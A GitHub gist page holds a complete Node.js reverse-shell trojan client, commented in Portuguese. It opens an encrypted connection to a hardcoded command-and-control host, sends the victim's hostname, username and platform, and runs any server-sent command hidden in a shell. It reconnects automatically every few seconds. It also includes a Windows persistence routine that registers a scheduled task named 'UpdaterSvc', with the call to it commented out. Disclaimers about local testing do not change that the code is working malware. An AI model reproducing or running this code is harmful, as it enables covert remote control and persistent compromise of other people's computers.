Skip to content

Instantly share code, notes, and snippets.

@zr0n
Created September 3, 2026 13:23
Show Gist options
  • Select an option

  • Save zr0n/629a425af24e22da325d8775c264d7db to your computer and use it in GitHub Desktop.

Select an option

Save zr0n/629a425af24e22da325d8775c264d7db to your computer and use it in GitHub Desktop.
reverse-trojan-client.js
// reverse_trojan.js — cliente de shell reverso criptografado (JavaScript/Node.js)
// USO (apenas em ambiente local de teste/fixture):
// 1) Altere HOST, PORT e ENCRYPT_KEY abaixo
// 2) Rode o servidor de comando (ex.: server.js ao final) no HOST
// 3) Inicie: node reverse_trojan.js
'use strict';
const net = require('net');
const crypto = require('crypto');
const { spawn } = require('child_process');
const os = require('os');
// ====== CONFIGURAÇÃO (placeholders) ======
const HOST = '192.168.0.47'; // IP/domínio do servidor C2
const PORT = 4443; // porta do servidor C2
const ENCRYPT_KEY = Buffer.from('ENCRYPT_KEY_32_BYTES_PLACEHOLDER____'.slice(0, 32)); // chave AES-256
const HEARTBEAT_MS = 30000; // intervalo do heartbeat
// =========================================
const ALGO = 'aes-256-gcm';
const IV_LEN = 12;
const TAG_LEN = 16;
let socket = null;
let connected = false;
// --- criptografia de um payload JSON { type, data } -----------------------
function encrypt(obj) {
const iv = crypto.randomBytes(IV_LEN);
const cipher = crypto.createCipheriv(ALGO, ENCRYPT_KEY, iv);
const plain = Buffer.from(JSON.stringify(obj), 'utf8');
const enc = Buffer.concat([cipher.update(plain), cipher.final()]);
const tag = cipher.getAuthTag();
// frame: [4 bytes tamanho do pacote][iv][tag][ciphertext]
const body = Buffer.concat([iv, tag, enc]);
const head = Buffer.alloc(4);
head.writeUInt32BE(body.length, 0);
return Buffer.concat([head, body]);
}
function decryptChunk(headLen, body) {
const iv = body.subarray(0, IV_LEN);
const tag = body.subarray(IV_LEN, IV_LEN + TAG_LEN);
const enc = body.subarray(IV_LEN + TAG_LEN);
const decipher = crypto.createDecipheriv(ALGO, ENCRYPT_KEY, iv);
decipher.setAuthTag(tag);
const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
return JSON.parse(plain.toString('utf8'));
}
// --- execução do comando no shell local -------------------------------------
function runCommand(cmd) {
return new Promise((resolve) => {
const shell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh';
const arg = process.platform === 'win32' ? ['/c', cmd] : ['-c', cmd];
const child = spawn(shell, arg, {
windowsHide: true,
cwd: os.homedir(),
});
let out = '';
let err = '';
child.stdout.on('data', (d) => (out += d));
child.stderr.on('data', (d) => (err += d));
child.on('error', (e) => {
err += '\n[spawn error] ' + e.message;
resolve({ exitCode: -1, stdout: out, stderr: err });
});
child.on('close', (code) =>
resolve({ exitCode: code, stdout: out, stderr: err })
);
});
}
// --- processamento das mensagens do servidor --------------------------------
async function handleMessage(msg) {
switch (msg.type) {
case 'exec': {
const r = await runCommand(String(msg.data || ''));
send({ type: 'exec_result', id: msg.id || 0, data: r });
break;
}
case 'ping':
send({ type: 'pong', ts: Date.now() });
break;
case 'shutdown':
// solicita encerramento (opcional: útil no teste local)
process.exit(0);
break;
default:
send({ type: 'error', data: 'tipo de comando desconhecido' });
}
}
function send(obj) {
if (socket && connected) {
try {
socket.write(encrypt(obj));
} catch (_) {
/* reconexão cuida disso */
}
}
}
// --- buffer de desempacotamento das frames -----------------------------------
class FrameParser {
constructor() {
this.buf = Buffer.alloc(0);
}
push(chunk) {
this.buf = Buffer.concat([this.buf, chunk]);
const frames = [];
while (this.buf.length >= 4) {
const size = this.buf.readUInt32BE(0);
if (this.buf.length < 4 + size) break;
frames.push(this.buf.subarray(4, 4 + size));
this.buf = this.buf.subarray(4 + size);
}
return frames;
}
}
// --- conexão com reconexão automática (looping persistente) -------------------
const parser = new FrameParser();
function connect() {
socket = new net.Socket();
connected = false;
parser.buf = Buffer.alloc(0);
socket.connect(PORT, HOST, () => {
connected = true;
send({
type: 'hello',
data: {
hostname: os.hostname(),
user: os.userInfo().username,
platform: process.platform,
arch: process.arch,
pid: process.pid,
cwd: process.cwd(),
},
});
});
socket.on('data', (chunk) => {
for (const frame of parser.push(chunk)) {
try {
handleMessage(decryptChunk(4, frame)).catch((e) =>
send({ type: 'error', data: e.message })
);
} catch (e) {
// frame inválida/autenticação falhou — ignora (anti injeção)
send({ type: 'error', data: 'falha de autenticação/decodificação' });
}
}
});
socket.on('error', () => {});
socket.on('close', () => {
connected = false;
setTimeout(connect, 5000); // reconexão após 5s
});
}
// heartbeat periódico para manter a sessão e detectar queda de rede
setInterval(() => {
if (connected) send({ type: 'ping', ts: Date.now() });
}, HEARTBEAT_MS);
// persistência opcional (somente em fixture local Windows):
// agendar via schtasks ou adicionar entrada ao registro HKCU\...\Run
function installPersistence() {
if (process.platform !== 'win32') return;
const scriptPath = __filename;
const cmd =
`schtasks /create /tn "UpdaterSvc" /tr "node \\"${scriptPath}\\"" /sc onlogon /f`;
spawn('cmd.exe', ['/c', cmd], { windowsHide: true, stdio: 'ignore' });
}
// installPersistence(); // descomente se quiser ativar a persistência local
connect();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment